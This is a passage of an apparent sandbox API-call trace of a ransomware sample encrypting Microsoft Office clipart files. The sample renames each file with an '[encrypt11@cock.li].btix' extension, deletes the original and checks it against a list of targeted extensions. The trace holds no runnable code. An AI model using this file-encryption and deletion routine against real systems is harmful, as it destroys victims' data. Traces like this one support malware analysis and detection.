dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0141.930] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=5908) returned 1 [0141.931] CloseHandle (hObject=0x560) returned 1 [0141.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf")) returned 0x220 [0141.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0141.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0141.931] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0141.931] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0141.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0141.988] GetLastError () returned 0x0 [0141.988] ReadFile (in: hFile=0x560, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x1714, lpOverlapped=0x0) returned 1 [0141.990] WriteFile (in: hFile=0x558, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x1720, lpOverlapped=0x0) returned 1 [0141.991] ReadFile (in: hFile=0x560, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0141.991] WriteFile (in: hFile=0x558, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0141.991] SetEndOfFile (hFile=0x558) returned 1 [0141.991] CloseHandle (hObject=0x558) returned 1 [0141.991] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0141.991] SetEndOfFile (hFile=0x560) returned 1 [0141.994] CloseHandle (hObject=0x560) returned 1 [0141.994] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0141.994] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf")) returned 1 [0141.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0141.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0141.995] lstrlenW (lpString=".doc") returned 4 [0141.995] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.995] lstrlenW (lpString=".docx") returned 5 [0141.995] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0141.995] lstrlenW (lpString=".pdf") returned 4 [0141.995] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.995] lstrlenW (lpString=".xls") returned 4 [0141.995] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.995] lstrlenW (lpString=".xlsx") returned 5 [0141.995] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0141.996] lstrlenW (lpString=".ppt") returned 4 [0141.996] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0141.996] lstrlenW (lpString=".zip") returned 4 [0141.996] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.996] lstrlenW (lpString=".rar") returned 4 [0141.996] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.996] lstrlenW (lpString=".bz2") returned 4 [0141.996] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.996] lstrlenW (lpString=".7z") returned 3 [0141.996] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0141.996] lstrlenW (lpString=".dbf") returned 4 [0141.996] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0141.996] lstrlenW (lpString=".1cd") returned 4 [0141.996] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0141.996] lstrlenW (lpString=".jpg") returned 4 [0141.996] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0141.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0141.996] lstrlenW (lpString=".doc") returned 4 [0141.997] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.997] lstrlenW (lpString=".docx") returned 5 [0141.997] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0141.997] lstrlenW (lpString=".pdf") returned 4 [0141.997] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.997] lstrlenW (lpString=".xls") returned 4 [0141.997] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.997] lstrlenW (lpString=".xlsx") returned 5 [0141.997] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0141.997] lstrlenW (lpString=".ppt") returned 4 [0141.997] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0141.997] lstrlenW (lpString=".zip") returned 4 [0141.997] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.997] lstrlenW (lpString=".rar") returned 4 [0141.997] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.997] lstrlenW (lpString=".bz2") returned 4 [0141.997] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.997] lstrlenW (lpString=".7z") returned 3 [0141.997] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0141.997] lstrlenW (lpString=".dbf") returned 4 [0141.997] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0141.997] lstrlenW (lpString=".1cd") returned 4 [0141.997] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0141.998] lstrlenW (lpString=".jpg") returned 4 [0141.998] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.998] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0141.998] lstrlenW (lpString="J0105240.WMF") returned 12 [0141.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0141.998] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=11532) returned 1 [0141.998] CloseHandle (hObject=0x560) returned 1 [0142.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf")) returned 0x220 [0142.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0142.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0142.573] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.573] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0143.064] GetLastError () returned 0x0 [0143.064] ReadFile (in: hFile=0x530, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x2d0c, lpOverlapped=0x0) returned 1 [0143.109] WriteFile (in: hFile=0x564, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x2d10, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x2d10, lpOverlapped=0x0) returned 1 [0143.110] ReadFile (in: hFile=0x530, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0143.110] WriteFile (in: hFile=0x564, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0143.111] SetEndOfFile (hFile=0x564) returned 1 [0143.111] CloseHandle (hObject=0x564) returned 1 [0143.111] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.111] SetEndOfFile (hFile=0x530) returned 1 [0143.113] CloseHandle (hObject=0x530) returned 1 [0143.113] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0143.114] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf")) returned 1 [0143.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0143.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0143.115] lstrlenW (lpString=".doc") returned 4 [0143.115] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.115] lstrlenW (lpString=".docx") returned 5 [0143.115] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0143.115] lstrlenW (lpString=".pdf") returned 4 [0143.115] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.115] lstrlenW (lpString=".xls") returned 4 [0143.115] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.115] lstrlenW (lpString=".xlsx") returned 5 [0143.115] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0143.115] lstrlenW (lpString=".ppt") returned 4 [0143.115] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0143.115] lstrlenW (lpString=".zip") returned 4 [0143.115] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.115] lstrlenW (lpString=".rar") returned 4 [0143.115] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.115] lstrlenW (lpString=".bz2") returned 4 [0143.115] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.115] lstrlenW (lpString=".7z") returned 3 [0143.115] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0143.115] lstrlenW (lpString=".dbf") returned 4 [0143.115] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0143.115] lstrlenW (lpString=".1cd") returned 4 [0143.115] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0143.115] lstrlenW (lpString=".jpg") returned 4 [0143.116] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0143.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0143.116] lstrlenW (lpString=".doc") returned 4 [0143.116] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.116] lstrlenW (lpString=".docx") returned 5 [0143.116] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0143.116] lstrlenW (lpString=".pdf") returned 4 [0143.116] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.116] lstrlenW (lpString=".xls") returned 4 [0143.116] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.116] lstrlenW (lpString=".xlsx") returned 5 [0143.116] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0143.116] lstrlenW (lpString=".ppt") returned 4 [0143.116] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0143.116] lstrlenW (lpString=".zip") returned 4 [0143.116] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.116] lstrlenW (lpString=".rar") returned 4 [0143.116] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.116] lstrlenW (lpString=".bz2") returned 4 [0143.116] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.116] lstrlenW (lpString=".7z") returned 3 [0143.116] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0143.116] lstrlenW (lpString=".dbf") returned 4 [0143.116] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0143.116] lstrlenW (lpString=".1cd") returned 4 [0143.116] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0143.116] lstrlenW (lpString=".jpg") returned 4 [0143.116] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.117] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0143.117] lstrlenW (lpString="J0105348.WMF") returned 12 [0143.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0143.117] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=17060) returned 1 [0143.117] CloseHandle (hObject=0x530) returned 1 [0143.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf")) returned 0x220 [0143.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0143.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0143.118] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.118] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0143.119] GetLastError () returned 0x0 [0143.119] ReadFile (in: hFile=0x530, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x42a4, lpOverlapped=0x0) returned 1 [0143.122] WriteFile (in: hFile=0x564, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x42b0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x42b0, lpOverlapped=0x0) returned 1 [0143.123] ReadFile (in: hFile=0x530, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0143.123] WriteFile (in: hFile=0x564, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0143.123] SetEndOfFile (hFile=0x564) returned 1 [0143.123] CloseHandle (hObject=0x564) returned 1 [0143.124] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.124] SetEndOfFile (hFile=0x530) returned 1 [0143.126] CloseHandle (hObject=0x530) returned 1 [0143.126] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0143.127] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf")) returned 1 [0143.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0143.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0143.127] lstrlenW (lpString=".doc") returned 4 [0143.127] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.127] lstrlenW (lpString=".docx") returned 5 [0143.127] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0143.127] lstrlenW (lpString=".pdf") returned 4 [0143.127] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.127] lstrlenW (lpString=".xls") returned 4 [0143.128] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.128] lstrlenW (lpString=".xlsx") returned 5 [0143.128] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0143.128] lstrlenW (lpString=".ppt") returned 4 [0143.128] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0143.128] lstrlenW (lpString=".zip") returned 4 [0143.128] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.128] lstrlenW (lpString=".rar") returned 4 [0143.128] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.128] lstrlenW (lpString=".bz2") returned 4 [0143.128] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.128] lstrlenW (lpString=".7z") returned 3 [0143.128] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0143.128] lstrlenW (lpString=".dbf") returned 4 [0143.128] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0143.128] lstrlenW (lpString=".1cd") returned 4 [0143.128] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0143.128] lstrlenW (lpString=".jpg") returned 4 [0143.128] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.129] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=8860) returned 1 [0143.129] CloseHandle (hObject=0x530) returned 1 [0143.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf")) returned 0x220 [0143.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0143.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0143.129] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.130] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0143.131] GetLastError () returned 0x0 [0143.131] ReadFile (in: hFile=0x530, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x229c, lpOverlapped=0x0) returned 1 [0143.133] WriteFile (in: hFile=0x564, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x22a0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x22a0, lpOverlapped=0x0) returned 1 [0143.133] ReadFile (in: hFile=0x530, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0143.134] WriteFile (in: hFile=0x564, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0143.134] SetEndOfFile (hFile=0x564) returned 1 [0143.134] CloseHandle (hObject=0x564) returned 1 [0143.134] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.134] SetEndOfFile (hFile=0x530) returned 1 [0143.136] CloseHandle (hObject=0x530) returned 1 [0143.136] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 